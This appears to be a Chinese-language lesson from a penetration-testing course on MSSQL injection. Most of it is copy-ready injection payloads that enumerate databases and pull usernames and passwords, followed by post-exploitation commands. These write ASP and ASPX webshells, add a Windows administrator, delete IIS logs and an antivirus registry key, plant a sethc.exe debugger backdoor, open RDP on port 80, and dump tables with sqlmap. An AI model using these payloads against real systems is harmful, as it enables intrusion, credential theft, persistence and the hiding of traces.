DAY14-MSSQL注入

  一.SqlServer 常规操作

  1.SqlServer简介

  美国Microsoft公司推出的一种关系型数据库系统。

  是一个可扩展的、高性能的、为分布式客户机/服务器计算所设计的数据库管理系统

  提供了基于事务的企业级信息管理系统方案

  2.SqlServer 服务

  重启服务命令

  services.msc

  监听端口

1433

  TCP  0.0.0.0:1433   0.0.0.0:0    LISTENING

  当我们关闭服务后,端口也将关闭

  可能选择SqlServer搭建的网站

  教育网站

  政府网站

  棋牌网站

  游戏网站

  数据库文件后缀

mdf和ldf成套,需要一起下载才能打开

  数据文件

  cracer.mdf

  日志文件

  cracer_log.ldf

  3.分离和附加数据库

  分离数据库

  分离之后该数据库不在当前数据库中,但还在内存当中

  附加数据库

  将下载下来的数据库,添加到本地数据库中

  4.常用语句

  1.创建数据库

  create  database  [database_name]

  2.删除数据库

  drop database  [database_name]

  3.查询表中所有内容

  select  *  from  [student]

  5.MSSQL数据库权限

  sa权限

相当于system权限

  数据库操作

  文件管理

  命令执行

  注册表读取

  db权限

相当于users-adminstrators之间的权限

  数据库操作

  文件管理

  public权限

相当于guest-users之间的权限

  数据库操作

  6.调用数据库代码

  数据库代码

  <%

  set conn=server.createobject("adodb.connection")

  conn.open

  "provider=sqloledb;source=local;uid=sa;pwd=123123;database=database-name"

  %>

  代码说明

  provider后面的不用管,照写;

  source 后面的可以是ip地址,这里我用的是本地的;

  sa是内置的用户,它的密码是你在安装的时候设置的;

  database后面是你要连接的数据库的名称,例:mydatabase

  二.SqlServer 注入原理

  1.漏洞挖掘

  漏洞出现的位置

  手工挖掘:

  有参数传递

  有数据库交互

  我们可以控制

  工具扫描

  Awvs

  burp

  appscan

  2.判断语句

  1.判断是否存在注入

  and 1=1

  and 1=2

  /

  -0

  2.初步判断是否是MSSQL

  and user>0

  3.判断数据库系统

  MSSQL

  and (select count(*) from sysobjects)>0

  Access

  and (select count(*) from msysobjects)>0

  3.注入语句

  1.注入参数是字符

  ' and [查询条件] and ''='

  2.搜索时没过滤参数

  'and [查询条件] and '%25'='

  3.猜数表名

  and (select count(*) from [表名] )>0

  4.猜字段

  and (select count(字段名) from [表名])>0

  5.猜字段中记录长度

  and (select top 1 len(字段名) from [表名])>0

  6.猜字段的ascii值

  Access

  and (select top 1 asc(mid(字段名,1,1)) from [表名])>0

  MSSQL

  and (select top 1 unicode(substring(字段名,1,1)) from [表名])>0

  7.显错注入

  1.数据库版本

  id=1 and 1=(select @@version)

  2.当前使用的数据库

  id=1 and 1=(select db_name())

  3.列数据库名称

  获取第一个数据库名称

  and 1=(select top 1 name from master..sysdatabases where dbid>4)

  获取第二个数据库名称

  and 1=(select top 1 name from master..sysdatabases where dbid>4 and name <> 'acublog')

  直接全部获取数据库名称

  and 1=(select name from master..sysdatabases for xml path)

  4.列表名

  获取第一张表---threads

  ?id=1 and 1=(select top 1 name from sysobjects where xtype='u')

  获取第二张表---users

  ?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name <> 'threads' )

  直接获取全部表名

  and 1=(select name from sysobjects where xtype='u' for xml path)

  5.列列名

   获取表 users 的列名

  获取第一列列名---uname

  ?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name ='users'))

  获取第二列列名---upass

  ?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users')and name <> 'uname' )

  直接获取全部列名

  ?id=1 and 1=(select name from syscolumns where id =(select id from sysobjects where name ='users') for xml path)

  6.列数据

  获取第一个用户名

  ?id=1 and 1=(select top 1 uname from users)

  获取第一个用户名对应的密码

  ?id=1 and 1=(select top 1 upass from users)

  8.union联合查询

  查询版本和数据库名

  union select null,@@version,db_name(),null,null

  查其他数据库的表名

  union select  null,(select top 1 name from [dbname]..sysobjects where xtype='u' and name not in(select top 0 name from [dbname]..sysobjects where xtype='u')),null,null

  9.union 列表名

  继续猜字段名(从0开始增加第二个top N的数字就可以遍历admin表的字段名了)

  第一个表名

  http://192.168.0.240:8005/?id=1  union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 0 name from syscolumns where id in (select id from sysobjects wherename='password'))),null

  第二个表名

  http://192.168.0.240:8005/?id=1  union select null,(select top 1 name from syscolumns where id in (selectid from sysobjects where name='password') and name not in (select top 1 namefrom syscolumns where id in (select id from sysobjects wherename='password'))),null

  10.union 列列名

  继续猜字段名(从0开始增加第二个top N的数字就可以遍历列的字段名了)

  第一个列名

  http://192.168.0.240:8005/?id=1  union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 0 name from syscolumns where id in (select id from sysobjects where name='password'))),null

  第二个列名

  http://192.168.0.240:8005/?id=1  union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 1 name from syscolumns where id in (select id from sysobjects wherename='password'))),null

  第三个列名

  http://192.168.0.240:8005/?id=1  union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 2 namefrom syscolumns where id in (select id from sysobjects wherename='password'))),null

  11.union列数据

  ?id=1  union select null,username,password from password where username not in (select top 0 username from password)

  三.SqlServer不同权限利用

  1.权限判断语句

  1.判断是否是系统管理员

  and 1=(select is_srvrolemember('sysadmin'))

  2.判断是否是库权限

  and 1=(select is_srvrolemember('db_owner'))

  3.判断是否为public权限

  and 1=(select is_srvrolemember('public'))

  4.当前数据库名

  and 1=convert(int,db_name())

  and 1=(select db_name())

  5.本地服务名

  and 1=(select @@servername)

  6.判断是否有库读取权限

  and 1=(select HAS_DBACCESS('master'))

  2.Sa权限的利用

  1.注入用户密码

  2.修改网站管理员密码

  3.直接getshell

  4.调用系统命令

  创建系统管理员

  操控文件

  操控日志文件

  getshell

  5.创建sqlserver管理

  6.系统服务操作

  7.注册表操作

  创建后门

  开启3389

  3.MSSQL中的存储过程

  图解过程

  4.修改网站管理员密码

  修改管理员表admin中admin用户的密码

  ;update admin set pass=‘e8dc763194f29433’ where admin=‘cracer’

  修改之前把原来密码备份

  通常在密码解不出的情况下选择使用该方法

  5.直接getshell

08以后的服务器不再有该存储过程

  getshell命令

  id=1%20;exec%20sp_makewebtask%20%20%27  C:\Inetpub\wwwroot\8005\x1.asp%27,%27select%27%27<%execute(request("cmd"))%>%27%27%27--

  修复上传

  ;EXEC sp_configure 'show advanced options',1; RECONFIGURE;

  ;exec sp_configure 'WebAssistant Procedures', 1;  RECONFIGURE

  6.调用系统命令xp_cmdshell

  检测与恢复扩展存储

  判断xp_cmdshell扩展存储是否存在

  and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell')

  判断xp_regread扩展存储过程是否存在

  and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')

  恢复

  ;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;

  ;exec sp_dropextendedproc xp_cmdshell,'xplog70.dll'

  7.xp_cmdshell执行命令

  1.新建用户

  ;execmaster..xp_cmdshell 'net user test test /add'

  ;execmaster..xp_cmdshell 'net localgroup administrators test /add'

  2.操控日志

  ;execmaster.dbo.xp_cmdshell 'del c:\winnt\system32\logfiles\w3svc5\ex070606.log '

  3.getshell

  echo ^<%Execute(request("a"))%^>> d:\www\123.asp

  ;execmaster..xp_cmdshell'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^>> c:\WWW\233.aspx' ;--

  4.操作注册表

  删除注册表

  reg delete HKLM\SOFTWARE\McAfee /f

  导入注册表

  Regedit /s d:\web\zh\hp.reg

  导出注册表

  regedit /e d:\web\zhao\aaa.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp"

  8.创建sqlserver管理

需要sa权限

  添加sa权限用户test

  exec master.dbo.sp_addlogin test,password

  删除sa权限用户test

  exec master.dbo.sp_addsrvrolemember test,sysadmin

  9.系统服务操作

需要sa权限

  停掉服务

  execmaster..xp_servicecontrol 'stop','schedule'

  激活服务

  execmaster..xp_servicecontrol 'start','schedule'

  10.注册表操作

  启用存储过程

  exec sp_addextendedproc xp_regread,'xpstar.dll'

  ;exec master.dbo.sp_addextendedproc0x780070005f007200650067007200650061006400,0x7800700073007400610072002e0064006c006c00--

  exec sp_addextendedproc xp_regwrite,'xpstar.dll'

  写入shift后门

  exec xp_regwrite 0x484b45595f4c4f43414c5f4d414348494e45,0x534f4654574152455c4d6963726f736f66745c57696e646f7773204e545c43757272656e7456657273696f6e5c496d6167652046696c6520457865637574696f6e204f7074696f6e735c73657468632e657865,0x6465627567676572,0x5245475f535a, 'c:\windows\system32\taskmgr.exe'--

  11.开启3389

  直接开启3389

  ;exec master..xp_cmdshell "wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1"--

  逐步执行开启3389

可以用批处理文件直接执行

  ;exec master..xp_cmdshell 'sc config termservice start=auto'

  ;exec master..xp_cmdshell 'net start termservice'

  ;exec master..xp_cmdshell 'reg add"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer" /v  fDenyTSConnections /t REG_DWORD /d 0x0 /f'

  允许外部连接

  ;exec master..xp_cmdshell 'reg add"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal

   改端口到80

  Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x50 /f'

  12.dbowner权限利用

  1.判断数据库用户权限

  and 1=(select is_member('db_owner'));--

  2.搜索web目录

  ;create table temp(dirnvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));--

  3.更改ID的值,依次列出文件和文件夹

  ;insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1--

  and(select dir from tempwhere id=1)>0

  13.dbo权限getshell

  找到web目录后,就可以写入一句话木马了

  ;alter database ssdown5 set RECOVERY FULL

  ;create table test(strimage)--

  ;backup log ssdown5 to disk='c:\test' with init--

  ;insert into test(str) values('<%excute(request("cmd"))%>')--

  ;backup log ssdown5 to disk='c:\inetpub\wwwroot\x.asp'--

  ;alter database ssdown5 set RECOVERY simple

  四.SqlServer 注入工具使用

  穿山甲

  萝卜头

  sqlmap

  1.查询注入类型

  sqlmap -u "http://192.168.0.200:8001/showshop.asp?id=14"

  2.查询表名

  sqlmap -u "http://192.168.0.200:8001/showshop.asp?id=14"  --tables

  3.查询列名

  sqlmap -u "http://192.168.0.200:8001/showshop.asp?id=14"  -T  [admin]  --columns

  4.查询内容

  sqlmap -u "http://192.168.0.200:8001/showshop.asp?id=14"   -T [admin]  -C  admin,password   --dump


分享:

支付宝

微信